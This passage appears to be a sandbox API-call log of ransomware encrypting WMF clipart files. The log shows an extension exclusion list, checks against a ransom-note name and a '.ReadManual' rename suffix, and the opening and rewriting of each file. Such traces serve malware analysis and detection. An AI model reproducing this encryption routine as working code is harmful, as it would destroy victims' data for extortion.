out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" [0267.722] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.ReadManual.5A595725" [0267.722] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.ReadManual.5A595725") returned 87 [0267.722] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38839122484) returned 1 [0267.723] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf")) returned 0x20 [0267.723] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.723] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12352) returned 1 [0267.723] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3040, lpName=0x0) returned 0x184 [0267.723] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.724] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.724] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.726] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.726] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3040) returned 0x2f0000 [0267.727] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.727] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38839542778) returned 1 [0267.727] CloseHandle (hObject=0x184) returned 1 [0267.727] SetSecurityInfo () returned 0x57 [0267.727] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.727] CloseHandle (hObject=0x194) returned 1 [0267.727] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0267.727] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187835.WMF" | out: lpString1="J0187835.WMF") returned="J0187835.WMF" [0267.727] lstrcmpiW (lpString1="J0187835.WMF", lpString2="RecoveryManual.html") returned -1 [0267.727] StrStrIW (lpFirst="J0187835.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.727] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.727] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.727] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" [0267.728] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.ReadManual.5A595725" [0267.728] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.ReadManual.5A595725") returned 87 [0267.728] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38839637454) returned 1 [0267.728] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf")) returned 0x20 [0267.728] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.728] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9344) returned 1 [0267.728] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2480, lpName=0x0) returned 0x184 [0267.728] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.729] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.729] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.730] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.731] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2480) returned 0x2f0000 [0267.731] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.731] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38839966679) returned 1 [0267.731] CloseHandle (hObject=0x184) returned 1 [0267.731] SetSecurityInfo () returned 0x57 [0267.731] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.731] CloseHandle (hObject=0x194) returned 1 [0267.731] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0267.731] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187837.WMF" | out: lpString1="J0187837.WMF") returned="J0187837.WMF" [0267.731] lstrcmpiW (lpString1="J0187837.WMF", lpString2="RecoveryManual.html") returned -1 [0267.731] StrStrIW (lpFirst="J0187837.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.731] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.731] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.731] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.731] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.731] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.732] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.732] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" [0267.732] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.ReadManual.5A595725" [0267.732] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.ReadManual.5A595725") returned 87 [0267.732] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38840064988) returned 1 [0267.732] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf")) returned 0x20 [0267.733] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.733] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16354) returned 1 [0267.733] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fe2, lpName=0x0) returned 0x184 [0267.733] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.734] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.734] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.736] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.736] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3fe2) returned 0x2f0000 [0267.736] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.736] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38840515494) returned 1 [0267.736] CloseHandle (hObject=0x184) returned 1 [0267.736] SetSecurityInfo () returned 0x57 [0267.737] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.737] CloseHandle (hObject=0x194) returned 1 [0267.737] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0267.737] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187839.WMF" | out: lpString1="J0187839.WMF") returned="J0187839.WMF" [0267.737] lstrcmpiW (lpString1="J0187839.WMF", lpString2="RecoveryManual.html") returned -1 [0267.737] StrStrIW (lpFirst="J0187839.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.737] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.737] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.737] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" [0267.737] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.ReadManual.5A595725" [0267.737] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.ReadManual.5A595725") returned 87 [0267.737] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38840615938) returned 1 [0267.737] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf")) returned 0x20 [0267.738] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.738] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5372) returned 1 [0267.738] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14fc, lpName=0x0) returned 0x184 [0267.738] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.739] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.739] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.740] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.741] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14fc) returned 0x2f0000 [0267.741] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.741] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38840960428) returned 1 [0267.741] CloseHandle (hObject=0x184) returned 1 [0267.741] SetSecurityInfo () returned 0x57 [0267.741] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.741] CloseHandle (hObject=0x194) returned 1 [0267.741] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0267.741] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187847.WMF" | out: lpString1="J0187847.WMF") returned="J0187847.WMF" [0267.741] lstrcmpiW (lpString1="J0187847.WMF", lpString2="RecoveryManual.html") returned -1 [0267.741] StrStrIW (lpFirst="J0187847.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.741] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.741] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.741] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.741] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.741] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.741] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.741] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.741] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.742] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.742] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.742] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.742] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.742] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.742] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.742] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" [0267.742] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.ReadManual.5A595725" [0267.742] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.ReadManual.5A595725") returned 87 [0267.742] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38841056211) returned 1 [0267.742] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf")) returned 0x20 [0267.742] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.742] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7116) returned 1 [0267.742] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bcc, lpName=0x0) returned 0x184 [0267.742] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.743] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.743] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.745] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.745] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bcc) returned 0x2f0000 [0267.745] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.745] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38841384189) returned 1 [0267.745] CloseHandle (hObject=0x184) returned 1 [0267.745] SetSecurityInfo () returned 0x57 [0267.745] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.745] CloseHandle (hObject=0x194) returned 1 [0267.745] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0267.745] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0187849.WMF" | out: lpString1="J0187849.WMF") returned="J0187849.WMF" [0267.745] lstrcmpiW (lpString1="J0187849.WMF", lpString2="RecoveryManual.html") returned -1 [0267.746] StrStrIW (lpFirst="J0187849.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.746] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.746] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.746] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" [0267.746] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.ReadManual.5A595725" [0267.746] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.ReadManual.5A595725") returned 87 [0267.746] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38841482799) returned 1 [0267.746] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf")) returned 0x20 [0267.747] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.747] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7572) returned 1 [0267.747] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d94, lpName=0x0) returned 0x184 